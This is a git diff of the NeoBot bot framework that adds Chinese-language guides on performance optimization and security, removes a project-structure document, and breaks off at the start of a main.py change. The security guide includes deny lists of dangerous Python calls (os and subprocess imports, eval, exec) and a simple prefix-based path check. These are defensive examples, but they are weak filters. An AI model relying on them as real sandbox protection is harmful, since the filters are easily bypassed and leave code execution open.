f.write(chunk) + + return True + except Exception as e: + logger.error(f"下载文件失败: {e}") + return False +``` + +### API客户端示例 + +```python +from typing import List, Optional + +class WeatherAPI: + """天气API客户端""" + + def __init__(self, api_key: str): + self.api_key = api_key + self.base_url = "https://api.weather.com" + self.client = HttpClient(self.base_url) + + async def get_current_weather(self, city: str) -> Optional[Dict[str, Any]]: + """获取当前天气""" + endpoint = "/v1/current" + params = { + "city": city, + "api_key": self.api_key, + "units": "metric" + } + + try: + return await self.client.get(endpoint, params=params) + except aiohttp.ClientError as e: + logger.error(f"获取天气失败: {e}") + return None + + async def get_forecast(self, city: str, days: int = 3) -> Optional[List[Dict[str, Any]]]: + """获取天气预报""" + endpoint = "/v1/forecast" + params = { + "city": city, + "days": days, + "api_key": self.api_key + } + + try: + data = await self.client.get(endpoint, params=params) + return data.get("forecast", []) + except aiohttp.ClientError as e: + logger.error(f"获取天气预报失败: {e}") + return None +``` + +## 总结 + +这些示例展示了 NeoBot 框架核心功能的使用方法。通过组合这些基础组件，可以构建出功能强大、安全可靠的机器人插件。 + +关键要点： + +1. **遵循异步编程模式**：所有可能阻塞的操作都应使用异步版本 +2. **验证所有用户输入**：防止安全漏洞 +3. **使用配置管理**：将敏感信息存储在环境变量中 +4. **记录详细的日志**：便于调试和监控 +5. **处理所有异常**：提供友好的错误消息 + +更多高级功能和最佳实践，请参考框架的其他文档。 \ No newline at end of file diff --git a/docs/performance-optimization.md b/docs/performance-optimization.md new file mode 100644 index 0000000..f104837 --- /dev/null +++ b/docs/performance-optimization.md @@ -0,0 +1,613 @@ +# 性能优化指南 + +本文档介绍了 NeoBot 框架的性能优化最佳实践，帮助开发者编写高性能的插件和应用。 + +## 目录 + +1. [异步编程](#异步编程) +2. [内存管理](#内存管理) +3. [数据库优化](#数据库优化) +4. [缓存策略](#缓存策略) +5. [代码优化](#代码优化) +6. [监控和诊断](#监控和诊断) + +## 异步编程 + +### 避免阻塞事件循环 + +NeoBot 基于异步架构，阻塞操作会导致整个应用卡顿。 + +#### 错误示例 + +```python +# ❌ 错误：同步阻塞操作 +import time +import requests + +def slow_operation(): + time.sleep(5) # 阻塞5秒，整个机器人会卡住 + response = requests.get("https://api.example.com") # 同步HTTP请求 + return response.text +``` + +#### 正确示例 + +```python +# ✅ 正确：异步非阻塞操作 +import asyncio +import aiohttp + +async def fast_operation(): + await asyncio.sleep(5) # 异步等待，不会阻塞 + + timeout = aiohttp.ClientTimeout(total=10) + async with aiohttp.ClientSession(timeout=timeout) as session: + async with session.get("https://api.example.com") as response: + return await response.text() +``` + +### 使用线程池执行同步代码 + +如果必须使用同步库，应使用线程池： + +```python +import asyncio +from concurrent.futures import ThreadPoolExecutor +import some_sync_library + +# 创建线程池（全局或模块级） +executor = ThreadPoolExecutor(max_workers=4) + +async def async_wrapper(): + loop = asyncio.get_event_loop() + + # 在线程池中执行同步代码 + result = await loop.run_in_executor( + executor, + some_sync_library.slow_function, + arg1, arg2 + ) + + return result +``` + +### 批量异步操作 + +使用 `asyncio.gather` 并行执行多个异步操作： + +```python +import asyncio + +async def fetch_multiple_urls(urls): + """并行获取多个URL""" + tasks = [fetch_single_url(url) for url in urls] + results = await asyncio.gather(*tasks, return_exceptions=True) + + # 处理结果 + successful = [] + failed = [] + + for url, result in zip(urls, results): + if isinstance(result, Exception): + logger.error(f"获取 {url} 失败: {result}") + failed.append(url) + else: + successful.append(result) + + return successful, failed + +async def fetch_single_url(url): + """获取单个URL""" + async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + return await response.text() +``` + +## 内存管理 + +### 及时释放资源 + +使用上下文管理器确保资源及时释放： + +```python +# ✅ 正确：使用上下文管理器 +async def process_file(file_path): + async with aiofiles.open(file_path, 'r') as f: + content = await f.read() + # 文件自动关闭 + + # 处理内容 + processed = process_content(content) + + # 及时释放大对象 + del content # 如果content很大 + + return processed +``` + +### 使用生成器处理大数据 + +```python +# ✅ 正确：使用生成器逐行处理大文件 +async def process_large_file(file_path): + async with aiofiles.open(file_path, 'r') as f: + async for line in f: # 逐行读取，不加载整个文件 + processed_line = process_line(line) + yield processed_line +``` + +### 对象池模式 + +对于频繁创建销毁的对象，使用对象池： + +```python +from typing import Dict, Any +import aiohttp + +class HttpClientPool: + """HTTP客户端连接池""" + + def __init__(self, max_clients: int = 10): + self.max_clients = max_clients + self._clients = [] + self._semaphore = asyncio.Semaphore(max_clients) + + async def get_client(self) -> aiohttp.ClientSession: + """获取客户端（从池中获取或创建新的）""" + async with self._semaphore: + if self._clients: + return self._clients.pop() + else: + timeout = aiohttp.ClientTimeout(total=30) + return aiohttp.ClientSession(timeout=timeout) + + async def release_client(self, client: aiohttp.ClientSession): + """释放客户端回池中""" + if len(self._clients) < self.max_clients: + self._clients.append(client) + else: + await client.close() + + async def cleanup(self): + """清理所有客户端""" + for client in self._clients: + await client.close() + self._clients.clear() +``` + +## 数据库优化 + +### 使用连接池 + +```python +import aiomysql +from typing import Optional + +class DatabasePool: + """数据库连接池""" + + def __init__(self): + self.pool: Optional[aiomysql.Pool] = None + + async def initialize(self, **kwargs): + """初始化连接池""" + self.pool = await aiomysql.create_pool( + minsize=5, # 最小连接数 + maxsize=20, # 最大连接数 + pool_recycle=3600, # 连接回收时间（秒） + **kwargs + ) + + async def execute_query(self, query: str, *args): + """执行查询""" + async with self.pool.acquire() as conn: + async with conn.cursor() as cursor: + await cursor.execute(query, args) + return await cursor.fetchall() + + async def close(self): + """关闭连接池""" + if self.pool: + self.pool.close() + await self.pool.wait_closed() +``` + +### 批量操作 + +```python +# ✅ 正确：批量插入 +async def batch_insert_users(users_data): + """批量插入用户数据""" + query = "INSERT INTO users (name, email) VALUES (%s, %s)" + + # 准备数据 + values = [(user['name'], user['email']) for user in users_data] + + async with db_pool.acquire() as conn: + async with conn.cursor() as cursor: + await cursor.executemany(query, values) # 批量执行 + await conn.commit() +``` + +### 查询优化 + +```python +# ❌ 错误：N+1查询问题 +async def get_users_with_posts(): + users = await get_all_users() + + for user in users: + # 为每个用户单独查询帖子（低效） + user['posts'] = await get_posts_by_user(user['id']) + + return users + +# ✅ 正确：使用JOIN或批量查询 +async def get_users_with_posts_optimized(): + """一次性获取所有用户及其帖子""" + query = """ + SELECT u.*, p.id as post_id, p.title, p.content + FROM users u + LEFT JOIN posts p ON u.id = p.user_id + ORDER BY u.id + """ + + results = await db_pool.execute_query(query) + + # 在内存中分组（比多次数据库查询快） + users_dict = {} + for row in results: + user_id = row['id'] + if user_id not in users_dict: + users_dict[user_id] = { + 'id': user_id, + 'name': row['name'], + 'email': row['email'], + 'posts': [] + } + + if row['post_id']: + users_dict[user_id]['posts'].append({ + 'id': row['post_id'], + 'title': row['title'], + 'content': row['content'] + }) + + return list(users_dict.values()) +``` + +## 缓存策略 + +### 内存缓存 + +```python +from typing import Any, Optional +import asyncio +from datetime import datetime, timedelta + +class MemoryCache: + """内存缓存""" + + def __init__(self, default_ttl: int = 300): + self.cache = {} + self.default_ttl = default_ttl + self.locks = {} + + async def get(self, key: str) -> Optional[Any]: + """获取缓存值""" + if key not in self.cache: + return None + + value, expiry = self.cache[key] + + if datetime.now() > expiry: + del self.cache[key] + return None + + return value + + async def set(self, key: str, value: Any, ttl: Optional[int] = None): + """设置缓存值""" + if ttl is None: + ttl = self.default_ttl + + expiry = datetime.now() + timedelta(seconds=ttl) + self.cache[key] = (value, expiry) + + async def get_or_set(self, key: str, coroutine, ttl: Optional[int] = None): + """获取或设置缓存值""" + # 防止缓存击穿 + if key not in self.locks: + self.locks[key] = asyncio.Lock() + + async with self.locks[key]: + cached = await self.get(key) + if cached is not None: + return cached + + # 执行协程获取值 + value = await coroutine + await self.set(key, value, ttl) + return value + + def clear(self): + """清空缓存""" + self.cache.clear() +``` + +### Redis 缓存 + +```python +import aioredis +from typing import Any, Optional +import json + +class RedisCache: + """Redis缓存""" + + def __init__(self, redis_url: str = "redis://localhost"): + self.redis_url = redis_url + self.redis: Optional[aioredis.Redis] = None + + async def initialize(self): + """初始化Redis连接""" + self.redis = await aioredis.from_url( + self.redis_url, + encoding="utf-8", + decode_responses=True + ) + + async def get(self, key: str) -> Optional[Any]: + """获取缓存值""" + if not self.redis: + return None + + value = await self.redis.get(key) + if value: + return json.loads(value) + return None + + async def set(self, key: str, value: Any, ttl: int = 300): + """设置缓存值""" + if not self.redis: + return + + serialized = json.dumps(value) + await self.redis.setex(key, ttl, serialized) + + async def delete(self, key: str): + """删除缓存值""" + if not self.redis: + return + + await self.redis.delete(key) +``` + +## 代码优化 + +### 预编译正则表达式 + +```python +# ❌ 错误：每次调用都编译正则表达式 +def validate_email(email: str) -> bool: + pattern = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$' + return bool(re.match(pattern, email)) + +# ✅ 正确：预编译正则表达式 +EMAIL_PATTERN = re.compile(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$') + +def validate_email_fast(email: str) -> bool: + return bool(EMAIL_PATTERN.match(email)) +``` + +### 使用局部变量 + +```python +# ✅ 正确：使用局部变量加速访问 +def process_data(data): + """处理数据""" + # 将频繁访问的属性存储到局部变量 + process_func = self.process_func + threshold = self.threshold + logger = self.logger + + results = [] + for item in data: + # 使用局部变量，避免每次循环都查找属性 + if process_func(item) > threshold: + results.append(item) + logger.debug(f"处理项目: {item}") + + return results +``` + +### 避免不必要的对象创建 + +```python +# ❌ 错误：在循环中创建不必要的对象 +def process_items(items): + for item in items: + processor = ItemProcessor() # 每次循环都创建新对象 + result = processor.process(item) + # ... + +# ✅ 正确：重用对象 +def process_items_optimized(items): + processor = ItemProcessor() # 只创建一次 + + for item in items: + result = processor.process(item) + # ... +``` + +### 使用生成器表达式 + +```python +# ✅ 正确：使用生成器表达式处理大数据 +def find_matching_items(items, condition): + """查找匹配条件的项目""" + # 生成器表达式，惰性求值 + return (item for item in items if condition(item)) + +# 使用 +matching = find_matching_items(large_list, lambda x: x > 100) +for item in matching: + process(item) # 一次处理一个，不占用大量内存 +``` + +## 监控和诊断 + +### 性能监控装饰器 + +```python +import time +import functools +from typing import Callable, Any + +def monitor_performance(threshold: float = 1.0): + """性能监控装饰器""" + def decorator(func: Callable) -> Callable: + @functools.wraps(func) + async def async_wrapper(*args, **kwargs): + start_time = time.time() + + try: + result = await func(*args, **kwargs) + return result + finally: + elapsed = time.time() - start_time + + if elapsed > threshold: + logger.warning( + f"函数 {func.__name__} 执行时间过长: " + f"{elapsed:.3f}秒 (阈值: {threshold}秒)" + ) + else: + logger.debug( + f"函数 {func.__name__} 执行时间: " + f"{elapsed:.3f}秒" + ) + + @functools.wraps(func) + def sync_wrapper(*args, **kwargs): + start_time = time.time() + + try: + result = func(*args, **kwargs) + return result + finally: + elapsed = time.time() - start_time + + if elapsed > threshold: + logger.warning( + f"函数 {func.__name__} 执行时间过长: " + f"{elapsed:.3f}秒 (阈值: {threshold}秒)" + ) + + # 根据函数类型返回对应的包装器 + if asyncio.iscoroutinefunction(func): + return async_wrapper + else: + return sync_wrapper + + return decorator + +# 使用示例 +@monitor_performance(threshold=0.5) +async def slow_operation(): + await asyncio.sleep(0.6) # 超过阈值，会记录警告 +``` + +### 内存使用监控 + +```python +import psutil +import os + +def get_memory_usage(): + """获取内存使用情况""" + process = psutil.Process(os.getpid()) + + memory_info = process.memory_info() + + return { + 'rss': memory_info.rss / 1024 / 1024, # 常驻内存 (MB) + 'vms': memory_info.vms / 1024 / 1024, # 虚拟内存 (MB) + 'percent': process.memory_percent(), # 内存使用百分比 + } + +async def monitor_memory(interval: int = 60): + """定期监控内存使用""" + while True: + memory = get_memory_usage() + + if memory['percent'] > 80: + logger.warning( + f"内存使用过高: {memory['percent']:.1f}% " + f"(RSS: {memory['rss']:.1f}MB)" + ) + + await asyncio.sleep(interval) +``` + +### 请求跟踪 + +```python +from contextlib import contextmanager +import uuid + +class RequestTracker: + """请求跟踪器""" + + def __init__(self): + self.requests = {} + + @contextmanager + def track(self, request_id: str = None): + """跟踪请求""" + if request_id is None: + request_id = str(uuid.uuid4()) + + start_time = time.time() + self.requests[request_id] = { + 'start_time': start_time, + 'status': 'processing' + } + + try: + yield request_id + status = 'completed' + except Exception as e: + status = f'failed: {e}' + raise + finally: + elapsed = time.time() - start_time + self.requests[request_id]['end_time'] = time.time() + self.requests[request_id]['elapsed'] = elapsed + self.requests[request_id]['status'] = status + + if elapsed > 5.0: # 记录慢请求 + logger.warning( + f"慢请求 {request_id}: {elapsed:.3f}秒" + ) + +# 使用示例 +tracker = RequestTracker() + +async def handle_request(): + with tracker.track() as request_id: + # 处理请求 + result = await process_request() + return result +``` + +## 总结 + +性能优化是一个持续的过程，需要： + +1. **测量优先**：在优化前先测量性能瓶颈 +2. **渐进优化**：一次优化一个瓶颈，验证效果 +3. **平衡取舍**：在性能、可读性和维护性之间找到平衡 +4. **持续监控**：建立监控系统，及时发现性能问题 + +遵循这些最佳实践，可以编写出高性能、可扩展的 NeoBot 插件和应用。 \ No newline at end of file diff --git a/docs/project-structure.md b/docs/project-structure.md deleted file mode 100644 index 43bc987..0000000 --- a/docs/project-structure.md +++ /dev/null @@ -1,162 +0,0 @@ -# 项目结构 - -了解项目里每个文件夹是干嘛的，能让你更快找到代码。 - -``` -. -├── adapters/ # 适配器层（多平台支持） -│ ├── discord_adapter.py # Discord 适配器 -│ └── router.py # 消息路由 -│ -├── core/ # 核心代码，别乱动 -│ ├── api/ # OneBot API 封装（消息、群组、好友、账号、媒体） -│ ├── handlers/ # 底层事件处理器 -│ ├── managers/ # 全局单例管理器 -│ │ ├── bot_manager.py # Bot 实例管理 -│ │ ├── browser_manager.py # Playwright页面池 -│ │ ├── command_manager.py # 指令分发和事件处理 -│ │ ├── image_manager.py # 图片/HTML模板渲染 -│ │ ├── mysql_manager.py # MySQL 数据库管理 -│ │ ├── permission_manager.py # 权限管理（Admin/User两级） -│ │ ├── plugin_manager.py # 插件加载和热重载 -│ │ ├── redis_manager.py # Redis缓存管理 -│ │ ├── reverse_ws_manager.py # 反向 WebSocket 管理 -│ │ └── thread_manager.py # 线程池管理 -│ ├── services/ # 核心服务 -│ │ └── local_file_server.py # 本地文件服务 -│ ├── utils/ # 工具函数和异常类 -│ │ ├── error_codes.py # 错误码定义 -│ │ ├── exceptions.py # 自定义异常类 -│ │ ├── executor.py # 代码沙箱执行引擎（Docker） -│ │ ├── logger.py # 日志系统（Loguru） -│ │ ├── performance.py # 性能分析工具 -│ │ └── singleton.py # 单例模式基类 -│ ├── ws.py # WebSocket 连接和消息处理 -│ ├── bot.py # Bot 核心实例 -│ ├── config_loader.py # 配置文件加载 -│ ├── config_models.py # 配置数据模型 -│ └── permission.py # 权限枚举类 -│ -├── models/ # 数据模型 -│ ├── events/ # OneBot 11 事件模型 -│ │ ├── base.py # 基础事件模型 -│ │ ├── factory.py # 事件工厂 -│ │ ├── message.py # 消息事件 -│ │ ├── meta.py # 元事件 -│ │ ├── notice.py # 通知事件 -│ │ └── request.py # 请求事件 -│ ├── message.py # 消息段（CQ码） -│ ├── objects.py # API响应对象（群信息、用户信息等） -│ └── sender.py # 发送者信息 -│ -├── plugins/ # 你的插件都放这（最常修改的地方） -│ ├── admin.py # 权限管理（Admin/User两级权限） -│ ├── auto_approve.py # 自动同意好友请求和群邀请 -│ ├── bot_status.py # Bot运行状态查询（图片形式） -│ ├── broadcast.py # 管理员专用广播功能（隐藏插件） -│ ├── code_py.py # Python代码沙箱执行（多行输入、图片输出） -│ ├── discord-cross/ # Discord 跨平台互通插件 -│ ├── echo.py # Echo和点赞功能 -│ ├── furry.py # Furry图片获取 -│ ├── github_parser.py # GitHub仓库链接自动解析 -│ ├── group_welcome.py # 群欢迎插件 -│ ├── jrcd.py # 今日人品/长度查询（随机生成） -│ ├── mirror_avatar.py # 镜像头像获取 -│ ├── osu!_plugin/ # osu! 相关功能插件 -│ ├── resource/ # 插件资源文件 -│ ├── thpic.py # 东方Project随机图片 -│ ├── weather.py # 天气查询插件 -│ └── web_parser/ # 综合Web链接解析系统 -│ ├── __init__.py # 主入口，自动检测链接 -│ ├── base.py # 解析器基类 -│ ├── parsers/ # 各平台解析器 -│ │ ├── bili.py # B站视频/直播解析 -│ │ ├── douyin.py # 抖音视频解析 -│ │ └── github.py # GitHub仓库解析 -│ └── utils.py # 解析工具函数 -│ -├── templates/ # Jinja2 HTML模板 -│ ├── code_execution.html # 代码执行结果展示 -│ ├── github_repo.html # GitHub仓库信息展示 -│ ├── help.html # 帮助页面 -│ ├── status.html # Bot状态页面 -│ └── weather.html # 天气展示页面 -│ -├── web_static/ # 静态资源 -│ ├── changelog.html # 更新日志页面 -│ ├── changelog_generator/# 更新日志生成器 -│ └── html/ # HTML资源文件 -│ -├── tests/ # 单元测试 -│ ├── test_api.py # API功能测试 -│ ├── test_basic.py # 基础测试 -│ ├── test_bot.py # Bot核心测试 -│ ├── test_command_manager.py # 指令管理器测试 -│ ├── test_config_loader.py # 配置加载测试 -│ ├── test_core_managers.py # 核心管理器测试 -│ ├── test_event_factory.py # 事件工厂测试 -│ ├── test_event_handler.py # 事件处理器测试 -│ ├── test_executor.py # 执行器测试 -│ ├── test_models.py # 模型测试 -│ ├── test_performance.py # 性能测试 -│ ├── test_plugin_manager_coverage.py # 插件管理器覆盖率测试 -│ ├── test_plugin_reload_meta.py # 插件重载测试 -│ ├── test_redis_manager.py # Redis管理器测试 -│ ├── test_thread_manager.py # 线程管理器测试 -│ ├── test_ws.py # WebSocket测试 -│ └── test_ws_pool.py # WebSocket池测试 -│ -├── docs/ # 开发文档 -│ ├── api/ # API参考文档 -│ ├── core-concepts/ # 核心概念详解 -│ ├── plugin-development/ # 插件开发指南 -│ ├── deployment.md # 生产环境部署 -│ ├── development-standards.md # 开发规范 -│ ├── getting-started.md # 快速上手 -│ ├── index.md # 文档首页 -│ └── project-structure.md # 项目结构（本文件） -│ -├── scripts/ # 工具脚本 -│ ├── add_plugins.py # 添加插件脚本 -│ ├── check_python_env.py # Python环境检查 -│ ├── compile_machine_code.py # 机器码编译 -│ └── export_requirements.py # 依赖导出 -│ -├── bili_login.py # B站登录脚本 -├── DEEPSEEK_API_SETUP.md # DeepSeek API 设置文档 -├── main.py # 启动入口 -├── pyproject.toml # 项目配置 -├── requirements.txt # Python依赖列表 -├── requirements-dev.txt # 开发依赖 -├── sandbox.Dockerfile # 代码沙箱Docker镜像 -├── LICENSE # 许可证 -└── README.md # 项目README -``` - -## 核心目录说明 - -### `core/` - 框架核心 -不用修改这里，除非你想优化框架本身。所有功能都由这里的管理器提供： -- **managers/** - 全局单例（matcher、permission_manager、browser_manager等） -- **api/** - OneBot API 封装 -- **handlers/** - 事件处理逻辑 - -### `plugins/` - 插件目录 -**这是你最常待的地方**。所有业务功能都在这里，包括现有的15+个插件。 - -新建插件只需在这里添加 `.py` 文件，Bot 启动时会自动加载。支持热重载：修改后无需重启Bot。 - -### `data/` - 持久化数据 -- `admin.json` - 管理员QQ号列表 -- `permissions.json` - 用户权限配置 - -这些文件也会自动同步到 Redis 以加快访问速度。 - -### `templates/` - 图片模板 -使用 `ImageManager` 生成图片时，HTML模板放在这里。支持 Jinja2 模板语法。 - -### `main.py` - 程序入口 -- 加载配置文件 -- 初始化各管理器和 WebSocket 连接 -- 启动插件加载器和文件监控（热重载） -- 处理程序生命周期 diff --git a/docs/security-best-practices.md b/docs/security-best-practices.md new file mode 100644 index 0000000..bb71efc --- /dev/null +++ b/docs/security-best-practices.md @@ -0,0 +1,495 @@ +# 安全最佳实践 + +本文档介绍了 NeoBot 框架的安全最佳实践，包括配置安全、输入验证、异常处理等方面。 + +## 目录 + +1. [配置安全](#配置安全) +2. [输入验证](#输入验证) +3. [异常处理](#异常处理) +4. [代码执行安全](#代码执行安全) +5. [网络通信安全](#网络通信安全) +6. [文件操作安全](#文件操作安全) + +## 配置安全 + +### 环境变量配置 + +NeoBot 支持使用环境变量管理敏感配置，避免将密码、令牌等敏感信息硬编码在配置文件中。 + +#### 使用方法 + +1. 复制 `.env.example` 为 `.env`： + ```bash + cp .env.example .env + ``` + +2. 编辑 `.env` 文件，填写实际值： + ```env + # 数据库配置 + MYSQL_HOST=localhost + MYSQL_PORT=3306 + MYSQL_USER=root + MYSQL_PASSWORD=your_secure_password + + # Redis 配置 + REDIS_HOST=localhost + REDIS_PORT=6379 + REDIS_PASSWORD=your_redis_password + + # Discord 配置 + DISCORD_TOKEN=your_discord_bot_token + + # Bilibili 配置 + BILIBILI_SESSDATA=your_bilibili_sessdata + BILIBILI_BILI_JCT=your_bilibili_jct + ``` + +3. 确保 `.env` 文件权限安全： + ```bash + # Linux/Mac + chmod 600 .env + + # Windows + icacls .env /inheritance:r /grant:r "%USERNAME%:R" + ``` + +#### 配置优先级 + +环境变量的优先级高于配置文件： +1. 环境变量（最高优先级） +2. `config.toml` 文件 +3. 默认值（最低优先级） + +#### 代码中使用 + +```python +from neobot.core.utils.env_loader import env_loader + +# 加载环境变量 +env_loader.load() + +# 获取配置值 +mysql_host = env_loader.get("MYSQL_HOST", "localhost") +mysql_port = env_loader.get_int("MYSQL_PORT", 3306) +discord_token = env_loader.get("DISCORD_TOKEN") + +# 获取掩码的敏感值（用于日志） +masked_password = env_loader.get_masked("MYSQL_PASSWORD") +# 输出: pa***rd（仅显示前2个和后2个字符） +``` + +### 配置文件权限检查 + +框架会自动检查配置文件的权限，如果发现不安全权限会输出警告： + +``` +[WARNING] 配置文件 config.toml 其他用户可读，存在安全风险 +[INFO] 建议使用命令: chmod 600 config.toml +``` + +## 输入验证 + +### 输入验证器 + +NeoBot 提供了全面的输入验证工具，防止常见的安全攻击。 + +#### 基本使用 + +```python +from neobot.core.utils.input_validator import input_validator + +# 验证 SQL 输入 +if not input_validator.validate_sql_input(user_input): + await event.reply("输入包含不安全字符") + +# 验证 XSS 攻击 +if not input_validator.validate_xss_input(user_input): + await event.reply("输入包含不安全内容") + +# 验证命令注入 +if not input_validator.validate_command_input(user_input): + await event.reply("输入包含危险命令") + +# 验证路径遍历 +if not input_validator.validate_path_input(file_path): + await event.reply("文件路径不安全") +``` + +#### 综合验证 + +```python +# 执行所有默认验证 +results = input_validator.validate_all(user_input) +# results = {'sql': True, 'xss': True, 'path': True, 'command': True} + +# 自定义验证类型 +results = input_validator.validate_all( + user_input, + validation_types=['sql', 'xss', 'email', 'url'] +) +``` + +#### 数据清理 + +```python +# 清理 HTML，防止 XSS +safe_html = input_validator.sanitize_html(user_html_input) + +# 清理 SQL，防止注入 +safe_sql = input_validator.sanitize_sql(user_sql_input) +``` + +### 插件中的输入验证 + +#### 天气插件示例 + +```python +@matcher.command("天气") +async def handle_weather(bot, event: MessageEvent, args: List[str]): + city_input = args[0].strip() + + # 输入验证 + if not input_validator.validate_sql_input(city_input): + await event.reply("输入包含不安全字符，请重新输入。") + return + + if not input_validator.validate_xss_input(city_input): + await event.reply("输入包含不安全内容，请重新输入。") + return + + # 继续处理... +``` + +#### 代码执行插件示例 + +```python +def validate_code_security(code: str) -> bool: + """验证代码安全性""" + # 检查命令注入 + if not input_validator.validate_command_input(code): + return False + + # 检查路径遍历 + if not input_validator.validate_path_input(code): + return False + + # 检查危险的系统调用 + dangerous_patterns = [ + r"import\s+(os|sys|subprocess|shutil|platform|ctypes)", + r"__import__\s*\(", + r"eval\s*\(", + r"exec\s*\(", + ] + + for pattern in dangerous_patterns: + if re.search(pattern, code, re.IGNORECASE): + return False + + return True +``` + +## 异常处理 + +### 最佳实践 + +1. **避免裸异常捕获**： + ```python + # 错误做法 + try: + # 一些操作 + except Exception: + pass + + # 正确做法 + try: + # 一些操作 + except (ValueError, TypeError) as e: + logger.error(f"处理数据时出错: {e}") + except ConnectionError as e: + logger.error(f"网络连接失败: {e}") + ``` + +2. **提供有意义的错误信息**： + ```python + try: + result = await some_async_operation() + except asyncio.TimeoutError: + await event.reply("操作超时，请稍后重试") + except aiohttp.ClientError as e: + logger.error(f"网络请求失败: {e}") + await event.reply("网络请求失败，请检查网络连接") + ``` + +3. **记录异常堆栈**： + ```python + try: + # 一些操作 + except Exception as e: + logger.exception(f"处理消息时发生未预期错误: {e}") + # 不要向用户暴露堆栈信息 + await event.reply("处理消息时发生错误，请稍后重试") + ``` + +### 框架提供的异常类 + +```python +from neobot.core.utils.exceptions import ( + ConfigError, + ConfigNotFoundError, + ConfigValidationError, + PluginError, + PermissionDeniedError, +) + +try: + config = Config("config.toml") +except ConfigNotFoundError as e: + logger.error(f"配置文件不存在: {e}") +except ConfigValidationError as e: + logger.error(f"配置验证失败: {e}") + for detail in e.error_details: + logger.error(f" - {detail}") +``` + +## 代码执行安全 + +### 沙箱环境 + +代码执行插件在 Docker 沙箱中运行用户代码，提供隔离的执行环境。 + +#### 安全特性 + +1. **资源限制**： + - CPU 使用限制 + - 内存使用限制 + - 执行时间限制 + - 网络访问限制 + +2. **代码验证**： + ```python + def validate_code_security(code: str) -> bool: + """验证代码安全性""" + # 检查危险模块导入 + dangerous_imports = [ + "import os", "import sys", "import subprocess", + "__import__", "eval", "exec", "compile" + ] + + for dangerous in dangerous_imports: + if dangerous in code.lower(): + return False + + return True + ``` + +3. **输入输出限制**： + - 最大输入长度限制 + - 最大输出长度限制 + - 禁止文件系统访问 + +### 异步操作 + +所有可能阻塞的操作都应使用异步版本： + +```python +# 错误做法（同步阻塞） +import requests +response = requests.get(url) # 会阻塞事件循环 + +# 正确做法（异步非阻塞） +import aiohttp +async with aiohttp.ClientSession() as session: + async with session.get(url) as response: + data = await response.text() +``` + +## 网络通信安全 + +### HTTPS 强制 + +所有外部请求都应使用 HTTPS： + +```python +# 确保使用 HTTPS +url = "https://api.example.com/data" + +# 验证 URL 安全性 +if not input_validator.validate_url(url, allowed_schemes=["https"]): + raise ValueError("不安全的 URL 协议") +``` + +### 请求超时设置 + +避免请求无限期等待： + +```python +import aiohttp + +timeout = aiohttp.ClientTimeout( + total=30, # 总超时时间 + connect=10, # 连接超时 + sock_read=15 # 读取超时 +) + +async with aiohttp.ClientSession(timeout=timeout) as session: + async with session.get(url) as response: + data = await response.json() +``` + +### 请求重试机制 + +```python +import asyncio +from typing import Optional + +async def safe_request( + url: str, + max_retries: int = 3, + base_delay: float = 1.0 +) -> Optional[str]: + """安全的网络请求，带重试机制""" + for attempt in range(max_retries): + try: + timeout = aiohttp.ClientTimeout(total=10) + async with aiohttp.ClientSession(timeout=timeout) as session: + async with session.get(url) as response: + response.raise_for_status() + return await response.text() + + except (aiohttp.ClientError, asyncio.TimeoutError) as e: + if attempt == max_retries - 1: + logger.error(f"请求失败，已达最大重试次数: {e}") + return None + + delay = base_delay * (2 ** attempt) # 指数退避 + logger.warning(f"请求失败，{delay}秒后重试: {e}") + await asyncio.sleep(delay) + + return None +``` + +## 文件操作安全 + +### 路径验证 + +所有文件操作前都应验证路径安全性： + +```python +from pathlib import Path + +def safe_file_operation(file_path: str) -> bool: + """安全的文件操作""" + # 验证路径安全性 + if not input_validator.validate_path_input(file_path): + logger.error(f"不安全的文件路径: {file_path}") + return False + + # 解析路径 + path = Path(file_path).resolve() + + # 检查是否在允许的目录内 + allowed_base = Path("/var/data").resolve() + if not str(path).startswith(str(allowed_base)): + logger.error(f"文件路径不在允许的目录内: {file_path}") + return False + + # 检查文件大小限制 + if path.exists() and path.stat().st_size > 10 * 1024 * 1024: # 10MB + logger.error(f"文件过大: {file_path}") + return False + + return True +``` + +### 临时文件安全 + +```python +import tempfile +import os + +def create_temp_file(content: bytes) -> str: + """创建安全的临时文件""" + # 创建临时文件 + with tempfile.NamedTemporaryFile( + mode='wb', + delete=False, + suffix='.tmp', + dir='/tmp' # 指定临时目录 + ) as f: + f.write(content) + temp_path = f.name + + # 设置安全权限 + os.chmod(temp_path, 0o600) + + return temp_path + +def cleanup_temp_file(file_path: str): + """清理临时文件""" + try: + if os.path.exists(file_path): + os.unlink(file_path) + except Exception as e: + logger.warning(f"清理临时文件失败: {e}") +``` + +## 日志安全 + +### 敏感信息掩码 + +框架自动掩码敏感信息： + +```python +from neobot.core.utils.env_loader import env_loader + +# 敏感值会自动掩码 +password = env_loader.get_masked("MYSQL_PASSWORD") +# 输出: pa***rd（不会显示完整密码） + +token = env_loader.get_masked("DISCORD_TOKEN") +# 输出: di***en（不会显示完整令牌） +``` + +### 安全日志记录 + +```python +from neobot.core.utils.logger import logger + +# 安全记录用户输入（截断长内容） +def safe_log_user_input(user_input: str, max_length: int = 100): + """安全记录用户输入""" + if len(user_input) > max_length: + logged_input = user_input[:max_length] + "..." + else: + logged_input = user_input + + # 移除敏感信息 + logged_input = logged_input.replace("\n", "\\n") + logged_input = logged_input.replace("\r", "\\r") + + logger.info(f"用户输入: {logged_input}") + +# 记录操作时避免敏感信息 +def log_operation(user_id: int, operation: str, details: str = ""): + """记录用户操作""" + logger.info(f"用户 {user_id} 执行操作: {operation}") + if details: + # 确保 details 不包含敏感信息 + safe_details = input_validator.sanitize_html(details) + logger.debug(f"操作详情: {safe_details}") +``` + +## 总结 + +遵循这些安全最佳实践可以显著提高 NeoBot 应用的安全性： + +1. **使用环境变量管理敏感配置** +2. **对所有用户输入进行验证** +3. **使用具体的异常类型进行错误处理** +4. **在沙箱中执行不可信代码** +5. **使用异步操作避免阻塞** +6. **验证所有文件路径和网络请求** +7. **在日志中掩码敏感信息** + +定期审查代码，确保遵循这些安全实践，可以保护你的应用免受常见的安全威胁。 \ No newline at end of file diff --git a/main.py b/main.py index e2a8433..001b812 100644 --- a/main.py +++ b/main.py @@ -10,18 +10,18 @@ import time from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler -# 初始化日志系统，必须在其他 core 模块导入之前执行 -from core.utils.logger import logger +# 